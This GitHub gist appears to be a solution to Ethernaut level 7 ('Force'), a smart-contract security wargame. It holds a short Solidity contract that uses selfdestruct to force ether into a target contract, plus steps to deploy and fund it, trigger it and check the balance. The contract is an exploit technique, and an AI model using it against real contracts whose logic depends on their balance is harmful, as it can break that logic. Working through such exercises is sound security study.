Skip to content

Instantly share code, notes, and snippets.

@SilviaMargaritaOcegueda
Created July 31, 2022 05:34
Show Gist options
  • Save SilviaMargaritaOcegueda/a87388a6b5def1d257ec76a489b48781 to your computer and use it in GitHub Desktop.
Save SilviaMargaritaOcegueda/a87388a6b5def1d257ec76a489b48781 to your computer and use it in GitHub Desktop.
Level 7 - Force - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ForceEth {
function forceEth() external payable {
address payable attackContract = 0xf53Eb1E507B15561661efEDe9899beDA45d051f5;
selfdestruct(attackContract);
}
receive() external payable {
}
}
@SilviaMargaritaOcegueda
Copy link
Author

  1. Deploy the ForceEth contract
  2. Fund it with some wei through the receive function
  3. Call the forceEth function to self-destroy the contract and address the balance to the Force instance passed on the parameter
  4. Check the state of the balance of the Force instance:
    getBalance(instance);

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment